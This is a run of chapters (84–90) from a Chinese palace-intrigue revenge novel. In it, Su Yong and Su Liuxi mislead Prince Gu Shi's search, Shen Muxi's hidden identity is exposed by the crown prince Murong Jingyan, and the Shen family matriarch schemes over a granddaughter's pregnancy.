苏勇满足地抱着苏柳溪一同靠坐在软垫上。 “这他娘的才是日子。” “你还没回答我的问题。”苏柳溪顺势在他的怀里画起圈圈。 苏勇一个翻身将她压下,“还能怎么做?自然是混淆他的视听了。” 混淆视听? 苏柳溪还想再问,被苏勇以唇封堵住了即将问出来的话,“乖,孩子想爹了,让我见见孩子...” 很快,马车就有规律地动了起来。 ... 荣郡王府。 王英已经出发去了丹阳,可是现在还是没有消息回来。 他的一颗心高高悬起。 连带整个人也是烦躁不安。 雪天的天气湿冷,他右手的旧疾复发,连带肩膀位置都是隐隐作痛... 以前在丹阳时候,他的右手有旧伤。 沈慕兮会在夏季收集许多艾草,晒干以后,再与另外的药材一起缝制成药包。 冬天的时候,用火烤暖,为他暖敷... 想到沈慕兮,顾时只觉得自己发疼的肩膀都有暖流穿过。 说来也奇怪,以前一直在她身边伺候的时候,他总会理所应当地觉得她离不开她。 对她所做的一切视而不见。 可是等她真的不在身边的时候,他的习惯却总是改不了。 明明已经好几个月没有看到她,可她的模样却在他的脑海里越发清晰。 反倒是苏柳溪,这些天一直陪在他的身边,他反而有了一丝... 厌烦。 连带以前觉得可爱乖巧的虞悦希,他也开始觉得,她太过乖巧,没了孩子应该有的灵气。 与筱筱一比,他反而觉得,筱筱性子活泼张扬,更是多了几分人味... 不应该这样的。 越想越烦躁,他坐不住了。 陈十六在一旁看着顾时坐立不安,终于忍不住问道,“王爷可是有烦心事?” 抬头对上陈十六一脸茫然地看向自己。 顾时更烦了。 莫名地,他想起了追风。 若是追风在,他的烦心事不用自己说出来,追风就能猜到自己的内心想法... 而不是像现在这样... “没事。” 他努力压下心中烦躁。 心中为自己刚才对溪溪的厌烦而产生了些许内疚。 他起身打开书房门。 此时金乌西坠,天边似有乌云要涌过来。 他眼底闪过一抹担忧。 “王妃今日是不是去护国寺礼佛?” 陈十六不明白顾时怎么突然问起苏柳溪的行踪。 连忙应下,“是的,王妃早上辰时出了门,眼下,应该也是在回来的路上。” 顾时沉吟道,“雪天路滑,她又有孕在身,本王去接她。” “属下这就安排。” 陈十六的动作很麻利。 很快就安排好了顾时要出门的马车。 就在顾时准备出门之际。 苏柳溪的马车踏着夕阳的最后一缕余光回来了。 与苏柳溪一起的,还有苏勇。 “顾时哥。” 第85章 将顾时的人引去南渊邺城 看到顾时,苏勇率先跳下马车跟他打了招呼。 苏柳溪在下人的搀扶下缓缓下了马车。 “沿途遇到勇弟,所以就请他一同坐马车回来了。” 她的笑容温婉坦然,不等顾时开口询问就先跟顾时解释。 顾时虽然觉得奇怪,可是想到苏勇与苏柳溪的关系,还是没有往另外的方面去想。 天上不知道什么时候洋洋洒洒飘下了雪花。 苏柳溪看了一眼已经掩盖天色的乌云。 “眼下天色已晚,而且眼看就要下雪了,不如就让勇弟在府上过一夜吧。” 苏府与荣郡王府距离说远不远说近不近。 眼看起风了,雪花还有加大的趋势,顾时点了点头,错开身子让苏勇进了府。 天气寒冷,顾时还贴心地让下人备下了暖酒在水榭设宴。 苏柳溪以身体疲累为由没有去。 全程就只有苏勇跟顾时用膳。 酒过三巡,苏勇醉意上头,双眼迷蒙地看向顾时,聊起了自己这两个月的见闻。 “...对了,顾时哥,我这段之间去了北方游历,途经丹阳。 想着顾时哥在丹阳生活了九年,所以特地在那边绕了一圈,还在丹阳周边郡县买了一些土产之物,回头我让下人给你送一点过来。” 两个月前,苏勇以自己不习惯与京城中的人打交道为理由,坚决要出门历练,苏康苦劝无果,还差点被气生病的事情在京城闹得沸沸扬扬。 顾时是知道的。 所以,在一开始苏勇拉着他聊梦想的时候,顾时都是应付式地朝他微笑。 直到他听到苏勇提及“丹阳”,他本来波澜不惊的神色顿时变得有点激动,“你去丹阳了?” 他伸手拎起苏勇的领子,几乎与他脸贴着脸。 扑面而来一阵酒气。 苏勇推开顾时哗啦啦吐了一地。 滂臭。 吐了之后,他脸颊酡红地趴在桌子上昏沉睡去,任由顾时怎么叫都没反应。 顾时捂着鼻子凑近苏勇,想要再听到一些他在丹阳的见闻。 后者说话已是含糊不清。 知道今天问不到什么有用的答案。 顾时有点失望地离开了水榭。 临走之前,他还唤来了下人,打扫了水榭,将苏勇搀扶了回去客房。 ... 翌日休沐。 一早,骤雪初停。 顾时天还未亮就去了客苑。 全然没有注意到苏柳溪因为他急切而变得难看的脸色。 下人看到顾时出现这么早,十分意外。 诚惶诚恐地跟顾时问安。 顾时颔首,“苏公子醒了没?” 迎接顾时的两名小厮为难地对视了一眼,“这...还没。” “罢了,你们去请他起来,就说我在临台水榭备了早膳,请他过来一起用膳吧。” 说完,顾时连一个眼神都没有给小厮,自行离开了。 天空纷纷扬扬飘落雪花。 顾时站在临台水榭的四季窗前,目光放空。 恍惚间,他似乎看到了沈慕兮母女在湖面打雪仗的身影。 他以为自己看错了。 揉了揉眼睛,看到湖面确实有两个身影在打闹。 他的嘴角缓缓勾起一抹笑意,又迅速抿紧,拿起大氅大步往外走。 陈十六连忙为他撑伞,“王爷,小心地滑。” 顾时的目光紧锁在湖面两道身影上,半点眼角余光都没有给陈十六。 直到走近。 他才看清那是两个清理湖面枯枝积雪的丫鬟。 他眼底迅速闪过一抹失落。 “王爷,怎么了?” 顾时冷脸转身,“没什么。” 就在这时,守在水榭外的小厮过来了,“王爷,苏公子到水榭了。” 顾时颔首。 一言不发,大步往水榭而去。 水榭内燃着碳火。 温暖中弥漫着酒气。 苏勇似是还带了一些宿醉的头疼,疲惫地按着脑袋。 顾时十分客气地往他身前推了一盏热茶。 “勇弟昨日睡得可还好?” 苏勇抿了一口茶,有点不好意思地开口了,“昨日多谢顾时哥收留,我喝醉酒了没有说什么胡话吧。” 顾时微笑摇头,“旁的倒是没什么,就是听说勇弟前些天去了丹阳,似是遇到什么趣事...” 趣事? 苏勇再次端起茶杯,用抿茶的动作掩盖了上扬的嘴角。 “十分有趣的事情倒是没遇上,但倒是听说了一件趣事。” 说着,他捧起面前已经晾得只带些许余温的瑶柱粥抿了一口。 满足地叹了一口气才悠悠开口,“那会买土产的时候,听到一个卖印泥的掌柜提起过,给他供货的人里面,有一对母女的印泥做得特别好。 只可惜那个母亲被男人骗了,引狼入室,男人将女人的钱银搜刮一空以后,还让人把那对母女骗去了南渊...” “你说什么?” 顾时陡然拔高的音调吓了苏勇一跳。 “顾时哥,你反应这么大作什么?” 苏勇一脸迷茫地看着他,“你认识那对母女?” “你也没有指名道姓,我怎么可能认识?” 顾时干笑着摸了摸鼻子,“我只是震惊,没想到在北宸居然还有这种事情发生。” 苏勇似是没看出他脸上神色的不妥,点头继续道,“可不是吗?那对母女挺惨的,我还听说了,那对母女中的女儿,好像还是个聋子,一只手不怎么利索。” 顾时的脸色愈发难看,脸上却还是挂着干巴巴的笑,“确实挺惨的,对了,丹阳周边卖印泥的好像就只有‘鑫荣号’的品质好一些,你可千万别买错了。” 苏勇点头,“顾时哥放心,事关我的面子,我去的就是‘鑫荣号’。” 闻言,顾时再也坐不住了。 “我还有事,勇弟你吃了早膳歇息一下再回府也不迟。” “好的,顾时哥。” 顾时走得急,完全没注意到苏勇眼底闪过那抹寒芒。 等顾时离开后,他低头吃东西的动作停住了。 缓缓抬头,脸上还哪有半分刚才的迷茫无害? ... 下午。 风雪已经停下。 苏勇告辞离开的时候,只有苏柳溪相送。 “他去哪了?” 听到苏勇这么一问,苏柳溪手中帕子都快要搅碎了,“还能去哪?不过就是在书房想办法遣人去南渊罢了。” 她做梦没想过,斗嬴了活着的沈慕兮嫁给了顾时,却在成亲后还要跟死了的沈慕兮“斗智斗勇”。 可悲的是,对方连尸骨都残缺了,顾时居然才后知后觉的要遣人将人找回来。 还要去南渊! 虽说南渊是北宸的附属国,可人家到底也是独立的国家。 莫名其妙遣人去南渊,搞不好就会惹来圣上猜疑。 “顾时这次真的是被猪油蒙了心。” 她咬牙切齿低声开口。 “怕什么?”苏勇轻飘飘睨了苏柳溪一眼,“到时候我让人做做手脚,将顾时的人骗去南渊邺城。” 闻言,苏柳溪总算放心了。 若是在其他地方,顾时可能会没那么多顾忌。 可是邺城是南渊的国都。 两国礼交在即,顾时是疯了才会在邺城搞事情。 纵然所有线索都在邺城,顾时还是不敢轻举妄动,他的人就只能一直耗在南渊。 如此一来,顾时就能稳在京城,吸引某些人的注意力... ... 第86章 那两个人在荣郡王府是被主子遗忘的存在 书房里。 顾时小心翼翼地将已经阴干墨迹的两幅画像交到陈十六手上,“找人拓印的时候,要仔细些,务必要与本王的手稿一致。” 陈十六认得画像上的人,看着顾时想要劝说些什么,在对上顾时的目光后,他终究还是什么都不敢多说。 郑重接过画像,快步离开。 心里只想着要快点找到苏柳溪,全然没注意到顾时看着他离开背影时候,紧皱的眉头完全没有松开半分。 苏柳溪回来的时候刚好碰上拿着画像找她的陈十六。 “见过王妃。” 苏柳溪一眼就看到了陈十六手上的画像。 “你这是要去做什么?” “王爷命属下去拓印画像,寻人。” 陈十六看到苏柳溪身边跟着丫鬟婆子,他不好把话说得太直白。 况且,那两个人,如今在荣郡王府,是被主子们遗忘的存在,主子们不让提,下人自然也没有这个提起。 苏柳溪接过陈十六递过来的画像。 待她看清画像上的人,她拿着画像的手微微一紧。 想起苏勇离开前跟她说过的话,苏柳溪暗暗呼出一口浊气。 “去吧,拓印得清晰些,莫要让人认错了。” 陈十六以为自己听错了,不解地看向苏柳溪。 苏柳溪朝他颔首,“去办。” 陈十六没有再多问。 对他来说,郡王妃对他就像是伯乐一样的存在,没有郡王妃,就没有今天的他。 顾时站在回廊下,将两人的互动尽数收入眼底。 ... 南渊。 深夜,北风呼啸。 小东宫。 大气的寝殿中,地龙温暖如春。 床边不远处,还燃烧着三个火力旺盛的炭盆。 慕容景衍一个激灵,从睡梦之中惊醒。 身上盖了五六张厚厚的被子,快要压得他喘不过气。 可依旧于事无补。 外头传来贺鸿的声音。 “殿下可是要起夜?” 慕容景衍裹着被子从床上坐了起来。 “你帮本宫加两个炭盆。” 也不知道是不是今年的冬天格外寒冷。 往年只需要同时盖上三床被子加两个炭盆就够暖和的身体,今年不管怎么捂都捂不热。 他不是没有怀疑过是自己的身体出现了问题。 可是,他暗中已经换了好几个大夫,大夫的说辞都是一致。 根本找不出他畏寒的原因... 莫名的,他想起了前两天晚上,沈曦递给他的瓷瓶。 触碰瓷瓶的手,甚至还能感受到当时在瓶身上残留的温度... 他轻捻指尖摩挲了一下,鼻翼间仿佛还萦绕着她身上的药香。 贺鸿领着小厮往房内加了两盆碳火。 等小厮离开后,贺鸿才从怀里取出一个专门绑在信鹰腿上的小竹筒。 “殿下,贺玄的消息。” 慕容景衍裹上厚厚的狐裘下了床走到书案后。 向来昳丽红艳的薄唇此时惨白不已。 他接过小竹筒,以随身短匕刮去封口蜡印。 待看清信中内容,他的目光逐渐变得深沉。 ... 距离杜衡发现沈柔有孕已经过去了三天。 安平侯世子死活要跟沈府二姑娘退婚一事在邺城闹得沸沸扬扬。 “你还别说,当时这个安平侯世子,信誓旦旦地说此生只有沈二姑娘一人,结果才多久,又要跟沈二小姐退婚,这不是把沈府当猴耍了吗?” “嗐,要怪只怪沈二姑娘不争气,有安平侯世子这么好的未婚夫不珍惜,还与人珠胎暗结...” “话可不能乱说,我二表姑的大姑子的儿子在沈府做杂役,远远瞧过那沈二姑娘一眼,乖乖巧巧,斯斯文文的一个小姑娘,不可能做出那种没脸没皮的事情,我看啊,八成是那个安平侯世子变心了。” 在外头百姓各种猜测的当口,沈府一片低气压。 沈老夫人这几天也因为沈柔的事情殚精竭虑。 张氏已经躺在床上只剩下一口气要人伺候也就罢了,连女儿也不省心。 要不是看在以前的情分上,只怕她早就将这对母女丢出去了。 还哪里轮得到沈柔在她面前哭哭啼啼? “说吧,孩子是谁的?” 安平侯府现在铁了心要退婚。 到头来,竹篮打水一场空。 沈老夫人绝对不允许这种事情发生。 事到如今,沈柔也知道事情的严重性。 她偷偷看了沈老夫人一眼,低头小声道,“是...是明覃的。” “什么?” 沈老夫人以为自己听错了。 再次看向沈柔,后者脸上的泪珠更是不要钱似的往下砸,她可怜兮兮地看向沈老夫。 “明覃说,他对我是真心的,只要我有孕,他就会娶我。” 明覃,是明太师庶子的幺儿。 那个在太师府地位低下且不学无术的花架子,除了一张嘴可以哄哄人,根本就是废人一个。 沈老夫人差点两眼一翻晕过去。 “你糊涂啊。” 她痛心疾首地看着沈柔,“我之前跟你说过什么?我让你接近的是明安,你怎么就跟明覃勾搭在一起了?” 沈柔一脸委屈,“可...可是明安的性子残暴,又是个残废的,孙女儿真的...真的...” 不敢接近那个人啊。 “你还委屈上了?”沈老夫人后槽牙都要咬碎了,“你哪来的脸委屈?” 原以为,相比沈曦那个从乡下回来的野丫头,她好歹能聪明些,可以两头抓住。 没想到,居然被一个没用的庶子拿捏了... “眼下事情再闹下去,迟早会牵扯到太师府,你个蠢货。” 沈柔瑟缩了一下,“可...可是,明覃已经知道了,他还说...他会娶我。” 沈老夫人到嘴边的话硬是噎在喉间,说不出来,也咽不下去。 明覃再不中用,也是太师府的人。 年少时候他不节制,如今不到二十五,身体已经被掏空,能有子嗣也着实艰难。 若是贸然打掉这个孩子,太师府那边也不一定会愿意... 一番权衡后,沈老夫人脸色逐渐恢复和缓。 “罢了,你先退下好好养身子。” 沈柔暗暗松了一口气。 老夫人让她退下养身子,说明此事她会解决。 想到自己以后的人生可以捏在自己手上,沈柔的语气也轻快了许多,“谢谢祖母疼惜孙女。” 沈柔离开后,沈老夫人疲惫地揉了揉太阳穴。 她双目紧闭,不知道在想些什么。 直到刘嬷嬷送了沈柔离开后回来,她才开口吩咐。 “大小姐呢?让大小姐过来。” “老夫人,大小姐今日一早就去了小东宫。” ... 第87章 你究竟想如何?沈慕兮 小东宫。 沈慕兮最后一针下去。 顾筱筱的手指微微一动。 “慕兮,我看到她的手指动了。” 沈曦比沈慕兮还要激动。 沈慕兮一脸喜色地收针。 这些日子,没有慕容景衍的额外干涉,再加上沈慕兮的悉心照料,顾筱筱的身体恢复极快。 在沈曦的指导下,沈慕兮的医术愈发进展,且沈曦原先手上有许多奇珍妙药,所以在给她医治的时候,沈慕兮顺便把她被顾时扯残了的手也通了血脉。 “等她醒来,我就可以给她治手治耳朵。” 到时候,她的筱筱,就可以恢复成为正常姑娘的样子了。 沈慕兮脸上喜色根本掩盖不住。 沈曦由衷地替她欢喜,“我看筱筱的脸色已经比起之前好了很多,估计过不了多久,她就能醒了。” “我等着这一天。” 此时此刻,“激动”二字根本不足以表达沈慕兮的心情。 就在这时,一直守在外头的婆子躬身进了屋。 “沈姑娘,我家主子有请。” 想到慕容景衍救了筱筱一命,沈慕兮的眉眼柔和了许多。 “好,我这就过去。” 说完,她转身给顾筱筱盖了被子,掖了掖她的被角才离开。 ... 书房。 “殿下。” 沈慕兮朝慕容景衍见礼。 慕容景衍朝她肃手做了一个“请”的动作。 等沈慕兮落座后,他才开口道,“三天前,你往本宫手上塞了一个瓷瓶,可是发现了什么端倪?” 从进入书房的那一刻,沈慕兮只觉得热浪扑面而来。 再看慕容景衍。 整个人裹得严严实实,唇瓣依旧毫无血色。 她挑眉反问,“身体是殿下的,难道殿下没有察觉到身体的不妥?” 慕容景衍呼吸微微一窒,沉默了片刻才缓缓开口,“本宫寻了许多大夫,都发现不了问题。” 沈慕兮闻言,再次将一个小瓷瓶放到慕容景衍身前。 她什么话都没说,只是淡淡地扫了慕容景衍一眼。 慕容景衍认出了那是三天前沈慕兮给他的瓷瓶。 他没有犹豫,从瓷瓶里倒出了一枚药丸,药丸呈暗红色,散发着浓郁且苦涩的药香味... “两枚。” 沈慕兮轻声提醒,话音刚落,她唇上一紧,一颗药丸已经猝不及防地被塞进了她的嘴里。 药丸入口即化,苦得让人怀疑人生,她连吐出来的机会都没有。 “你...咳咳...你做什么?” 她怒骂慕容景衍,“你知不知道这药丸有多补?炼制起来有多费劲?” 话音刚落,两管鼻血从沈慕兮的鼻子里滴滴哒哒留下来。 沈曦在一旁慌乱提醒,“完了完了,慕兮,你今晚还能睡得着吗?” 沈慕兮根本顾不上理会沈曦,捏着鼻子抬头。 慕容景衍慢条斯理地打开书房门,朝外头吩咐了一句,“去,请大夫,沈小姐流鼻血了。” 他的话音刚落,所有人看向沈慕兮跟慕容景衍的眼神都多了几分微妙。 沈慕兮心中早已骂了慕容景衍不下百次——慕容景衍,你大爷的。 大夫很快来了。 慕容景衍十分尽责地演好一个荒唐储君。 “要是你连流鼻血都治不好,这医馆就别开了。” 大夫战战兢兢地为沈慕兮号脉。 好一会,才起身,“殿下无需担忧,沈小姐这大概是同时服下补品太多,虚不受补,这几天喝点清粥就好了。” 慕容景衍不死心,“不用喝药?” 老大夫摇头,“沈小姐本来就是因为大补才流了鼻血,这会鼻血流出来了,就不需要另外开方子了。” 大夫离开后,沈慕兮想要抢回药丸。 慕容景衍将瓷瓶一举,轻而易举地躲过地沈慕兮的抢夺。 沈慕兮还想再抢,慕容景衍已经从瓷瓶倒出了两枚药丸仰首吞服。 药丸入口即化,慕容景衍眉峰不由自主地拧起。 几乎就在同时,一股热意从他的胃部四散,直至蔓延至他的四肢百骸... 久违的温暖袭来。 他难以置信地看向手中的小瓷瓶。 即使是夏天,他都不曾感觉到的热意。 如今,竟然只用两颗药丸就能解决。 他攥着瓷瓶的手紧了紧,抬眸看向还不死心想要抢回药丸的沈慕兮,目光愈发深邃。 沈慕兮没好气地瞪着他,“看什么看?好心当作驴肝肺,药丸还我。” 少女的鼻血甚至还没擦干净。 慕容景衍缓缓眯起眼睛,轻声开口,“你究竟想如何?沈慕兮。” “沈慕兮”三个字,他一字一顿的咬音,生怕沈慕兮听不出来。 沈慕兮的眼睛瞬间瞪圆了。 很快,她的表情恢复了正常,连上依旧挂着浅笑。 “民女不知道殿下在说什么。” “不知道本宫在说什么?”慕容景衍紧紧握住手中瓷瓶,“沈曦从未离开过南渊,却对北宸顾时的孩子这么上心...” 他一步一步紧逼沈慕兮。 沈慕兮退无可退,被逼至墙根。 两人的距离甚至近得,她低头就看到他绣工精美的鞋面,抬头便能对上他如鹰隼的眼神。 书房内热浪滚滚,沈慕兮只觉得冷汗都要浸湿后背的衣裳。 对上他仿佛看穿一切的目光,沈慕兮故作平静的神色再也平静不下来。 她心虚地别过脑袋,连说话也开始有点结结巴巴,“我...我不知道你在说什么。” “你不知道也没关系,本宫可以帮你慢慢回忆。” 慕容景衍轻轻俯身在她耳边低语,“你知道,当时本宫是怎么救回筱筱的吗?” 男人微凉的气息喷洒在她的耳廓,带着淡淡的药香。 沈慕兮的耳根不受控制地泛起浅浅的红。 听到“筱筱”的名字,她双手缓缓紧握成拳,安静地等待慕容景衍的下文。 第88章 彻底与慕容景衍绑在一起 “去年初夏,本宫乔装进去了荣郡王府,后来被算计... 筱筱对本宫有救命之恩,本宫原本只打算在她艰难时候还她这个人情,算是两清。 没想到荣郡王府的人居然不想她活。 本宫的人接到消息赶过去的时候,还是去晚了一步。 找到她时,她脖子都差点被勒断了,只剩下一口气吊着...” 沈慕兮以为,自己经历了在现场看着女儿被害,不管旁人如何提及这个事情,她都不可能会有更大的触动。 她在看到筱筱不会挣扎的那一刻,本能地以为筱筱已经死了。 万念俱灰,她根本不敢看筱筱死前的模样。 因此,在听到慕容景衍说出筱筱当初的惨状,她的眼眶倏地红了。 慕容景衍没有理会她突然转身背对自己,继续道,“想来也要多亏荣郡王府那个小畜生,让人放火烧了她的院子,否则贺玄还不一定能趁乱将人救走。” 说到后面,慕容景衍已经直起身子后退了一步。 神色平静地看着沈慕兮止不住地微颤的背影,没有继续说下去。 沈慕兮双手捂嘴,不让自己发出丁点声响。 她努力想要收回自己的眼泪,奈何泪水像是决堤的洪水似的,根本止不住。 她根本没办法平静下来。 要说这世上她还有什么软肋。 估计就只有筱筱一人。 她对筱筱控制不住的关爱太过明显,只怕早已让慕容景衍起了疑心。 之前隐忍不发,很大可能是没证据。 今日,他能够这么笃定地叫出她的名字,想来也是知道了些什么。 若是这次否认,按照慕容景衍多疑的性格,只怕还会再用其他当时试探... 那还倒不如直接承认。 想到这里,沈慕兮拭去眼角泪花,转身。 “殿下果然不是旁人看到的那么简单。” 她大方承认,“是,我是沈慕兮。” 慕容景衍不再拐弯抹角,“你的目的是什么?” 不可否认,她的药可以帮到他。 只是... 这次她把药作为投名状给他,所以没动手脚。 可谁都不能保证,下次,下下次是什么情况。 更不用说,沈曦是真的会医术。 所以他才会用手上已有的消息结合最近这些过于巧合的巧合赌一把。 赌对了,皆大欢喜,他的手下,多一员猛将。 赌错了... 那就铲除一个心头大患。 沈慕兮一直没有说话。 慕容景衍已经落座回去书案后。 十分有耐心地等她开口。 书房内的碳火热力十足,沈慕兮明显感觉到自己有点缺氧。 抬眸对上慕容景衍的目光。 他的眼神淡薄且深邃,丝毫不见急色,反而隐隐有些闲适。 仿佛在跟沈慕兮在比谁更有耐性。 沈慕兮目光一沉,嘴角缓缓扬起一抹柔和微笑。 “殿下说笑了,以后民女还要仰仗殿下的照顾,给殿下几颗丹药,也就是举手之劳,哪有什么目的?” 都到这种时候了,还想跟他玩心眼? 慕容景衍低笑,“是吗?若是沈小姐真的什么都不图,那是再好不过了,本宫听说,顾时在北宸疯了似的要找一对母女...” “慕容景衍,你要做什么?” 慕容景衍缓缓起身,嘴角噙着一抹慵懒的笑,笑意丝毫不达眼底。 “本宫既然已经跟你交了底,就没必要与你再拐弯抹角。 本宫需要的是绝对忠诚,若是沈姑娘对本宫还有所保留,那么,咱们今晚就当做什么都没发生过。” 他的意思再明显不过。 要么,她老实一点,一起上桌。 要么,他直接掀桌。 这人,还真是... “当然,你也可以选择继续欺骗,但是前提是,你有这个不被本宫发现的本事。” 慕容景衍慵懒的声音再次传来。 明明他的语气温和,笑容也温和,可是沈慕兮却莫名有一种被毒蛇盯上了的悚然。 这个男人,总算是在她面前撕下了脸上那层温和的伪装。 沈慕兮轻嗤一声,眼神陡然变得冷厉。 “我要让沈府变回县主府,要让北宸荣郡王府覆灭,整个苏府为我们母女两人陪葬,殿下也可以办到吗?” 即使她跟女儿命大没死,可是过去的伤害却是实实在在。 她死前遭受的各种凌虐,筱筱遭受的各种虐待,追风、书音、安婆子、拴娣的命,她都记在心头。 此仇不报,她枉为人母。 抬眸对上慕容景衍带着审视的眼神,沈慕兮嘲讽地勾了勾嘴角,“ 殿下不必这样看我,忠心不是用嘴说的,适不适合,咱们用时间来做见证。 我本来就是死过的人,有了软肋,自然更怕死。 可是软肋一旦没了,那我就不怕死了。” 她的意思再明显不过。 涉及筱筱,她是破罐子破摔。 女子本弱,为母则刚。 慕容景衍想起了他的母后。 当年他们母子见最后一面的时候,她郑重地将外祖一家的性命交给他手上,让他无论如何都要活下去,护住外祖一家。 没多久,外祖费尽心思见他最后一面,最后对他说的一句话,也是让他好好活下去,护住所有人。 可到后来,那些曾经护过他的人,他一个都护不住... 他的软肋全没了。 活在世上,就像行尸走肉一般... 很长的一段时间,他都沉迷戏曲,去体验戏中人的百味人生... 往事毫无预兆袭来,他喉间泛涩,转身不再看沈慕兮。 “只要你有用,本宫自然不会对你的女儿做些什么。” 他的声音干涩而沙哑。 沈慕兮没有再说话。 慕容景衍知道她的真实身份,她看清了慕容景衍的真面目。 这下,他俩算是彻底绑在一起了。 ... 回程路上。 跟在沈慕兮身边一起去小东宫的贴身丫鬟红玉被沈慕兮打发在车外与车夫一同赶车。 车内只有沈慕兮以及沈曦。 沈曦不解地看向沈慕兮。 “为何你今日不趁机将筱筱带走?” “眼下的局势,筱筱留在小东宫,比我在外头安置她要安全许多。” 沈慕兮现在想起来,也觉得自己之前的想法幼稚且冲动。 “邺城眼下各方势力都在暗涌不断。 即使我今日能顺利带筱筱离开,可是以后呢? 谁都不能保证,我会不会突然被盯上。 眼下咱们的人和部署重心,大部分都在北宸,筱筱交给其他人,我也不放心。” 沈曦点头。 “确实如此,况且,你也快嫁入小东宫,将她带走,也是多此一举。” 沈慕兮闭目养神,心里却在盘算北宸的消息为何会来这么慢... “慕兮!” 沈曦的一声惊呼,打断了沈慕兮的闭目养神。 “怎么了?” 沈曦惊恐地看着自己那双消失了的手。 沈慕兮这下也没了闭目养神的心思。 “怎么会这样?” 几乎就在同时,马车停下了。 车外响起了红玉的声音,“小姐,刘嬷嬷来了,说老夫人有请。” ... 第89章 到了验证成果的时候了 锦绣堂。 沈慕兮例行给沈老夫人见了礼。 即使今日她晌午时分出门去了小东宫,到晚上才回来。 沈老夫人也没有生气。 不仅没有生气,还嘘寒问暖了一阵。 直到沈慕兮看向她的目光逐渐变得冷漠,她才幽幽开口,“祖母这辈子,就想看到你好好成家...” “所以,祖母有话直说就是。” 沈慕兮直接开口,让沈老夫人硬是将到嘴边的一大串说辞都给塞了回去。 她的脸色变了又变,最后给身边的刘嬷嬷递了个眼色。 刘嬷嬷捧着一个半旧的妆匣递给沈慕兮。 沈老夫人一脸慈爱地看着她,“这是当年,你娘亲过门时候送给我的,如今,我将这些东西给你,也算是物归原主了。” 沈慕兮没有接下,依旧目光冷沉地看向沈老夫人。 似是被她的目光看得心虚。 沈老夫人忍不住别过眼睛,小声开口,“你...妹妹只是一时年少无知被蒙蔽,流言的事情,向来都是传着传着就变了味道。” “怎么就变了味道了?难道沈柔有孕不是事实?安平侯府因为沈柔有孕而退亲不是事实?” 沈慕兮毫不留情地反问。 这几天的流言一直沸沸扬扬。 其中少不了她的手笔。 目的就是为了验证她心中的猜想。 眼下,就是到了验证成果的时候了。 “曦儿,都是一家人...” “所以,祖母是打算让孙女代替沈柔,把不检点的名声担下来?” 沈慕兮直截了当说出了沈老夫人的打算。 因为心中酸涩又愤怒,她此时竟不知道自己是应该先笑还是先哭。 沈老夫人准备好的说辞,一句也用不上。 对上沈慕兮微红的眼眶,她嘴巴微动,最后只轻飘飘地吐出了一句,“祖母也是没有办法...” “没办法?祖母难道不知道,欺辱皇室,是死罪?”沈慕兮咬牙冷笑,“还是祖母觉得太子看上去好拿捏,所以就不停试探他的底线?你可知道,若是此时传出去,会给太子造成多大的困扰?给他的名声造成多大的损害?” 太子不受宠,是整个邺城人都知道的事情。 更别说,太子如今的名声比茅坑的石头都要臭。 “左右太子在与你成婚之前就已经有了外室女,你若是跟殿下说一声,说不定...” “不可能。” 想也不想,沈慕兮直接拒绝。 沈老夫人没想到自己已经这么低声下气了,沈慕兮居然会这么不给面子,她难以置信地瞪大眼睛看向沈慕兮,“曦儿,你怎么变得如此自私?” “我自私?” 沈慕兮被气笑了,“做错事的是沈柔,为何每次都要我担下苦果?” 以往他们其乐融融,是沈曦咽下满肚子的委屈。 现在,她不是沈曦,而且,在北宸的时候,她咽下的委屈也不少。 她不可能再妥协。 偏偏沈老夫人看不懂她的坚决,依旧还在劝说,“这怎么可能是苦果?今日你父亲才说过,若是殿下在外头还有其他血脉,圣上自然也是乐见其成。 你若是愿意,按照殿下对你的喜爱,定然也会愿意与你提前把夫妻之实落实下来,毕竟这些天你也一直往小东宫跑...” “祖母,你要不要听听你在说什么?” 沈慕兮一脸震惊地看向沈老夫人。 这是一府老夫人能说出口的话吗? 沈老夫人的火气也上来了。 她看向沈慕兮的目光不再慈爱。 “三个月前,要不是我及时护着你,你早已身败名裂,女子迟早都要嫁人,迟早都要跟丈夫生孩子,祖母这也是为了你打算,你怎么就这么不知感恩?” 沈慕兮原以为自己已经是对沈府的人够失望。 没想到。 没有最失望,只有更失望。 他们凭什么理所应当地以为,她会为了给沈柔背锅而不惜自毁名节? 沈柔不检点... 不对,按照惯例。 沈柔未婚失贞,难道不是应该先打掉她肚子里的野种吗? 现在居然还要找人背锅。 杀敌一千,自损八百。 不像是老太婆的作风。 倒像是... 老太婆想要保住那个孩子。 回想那天晚上,沈柔跟沈老夫人那一记若有似无的对视眼神。 沈慕兮眼眸微眯,脸上却已经换上了松动的神色。 “可是...即使我担下了这个污名,安平侯世子早已知道了柔妹妹有孕在身,只怕他也不一定会愿意。” 看到沈慕兮有所松动,沈老夫人明显松了一口气,“能堵住悠悠众口就好了,安平侯府那边已经答应了不退婚,婚期如常。” 到底是什么原因,要让沈柔非嫁入侯府不可? 沈慕兮看着沈老夫人恢复慈爱的模样,心中蒙上了一层疑惑。 她决定暂时稳住沈老夫人,“好,我答应祖母,但是祖母也要答应孙女,这个事情,得等孙女与殿下说明,看看殿下做如何反应再做后续安排。” 沈老夫人欢喜地应下,“这是自然。” 说着,她怜惜地看向沈慕兮,由衷叹气,“这才是我沈府的好女儿,快过来让祖母好好疼疼。” “孙女今日有些累,想先回去歇息。” 目的已经达到,沈老夫人也没有要留住沈慕兮的理由,点头允许沈慕兮带着宫氏之前送她的东西离开了。 刘嬷嬷出去看了一眼,确定沈慕兮走远了才截返回来。 “大小姐简直就是目无尊长。” 沈老夫人也冷下了脸,“就再给她这点脸,反正即使嫁到小东宫,她也活不了多久。” 旁人不知,她却清楚。 太子的身体早已出了大问题,即使去了北宸没有任何意外,还是会死在北宸。 到时候沈曦怎么可能还有命回来? 第90章 沈老夫人想除掉小东宫的那个小孽种 想到这里,沈老夫人的脸色稍微缓和了几分。 “小东宫那个孽种,留着迟早是个祸害。 一个男人,能在成亲前就与外室勾搭成奸,能是什么好东西?回头你遣个信得过的人去暗中解决了那个小孽种。” 那人已经说得很明白。 斩草要除根。 刚好,除掉小孽种,顺便给沈曦一个趁虚而入的机会,也算是全了她们祖孙的情分。 ... 从锦绣苑出来。 沈曦担忧地看向沈慕兮,“你怎么就答应她了?” 也不知道是什么原因,沈曦那双已经看不见的手,在进去了锦绣堂一趟出来后,又恢复原状了。 沈慕兮担心沈曦,却又怕会让沈曦多想。 她干脆顺着沈曦的话小声道。 “我怀疑,沈柔肚子里的孩子与太师府脱不了干系,而洪氏,与太师府,肯定也有千丝万缕的关系。” 这是沈慕兮原先最想不明白的地方。 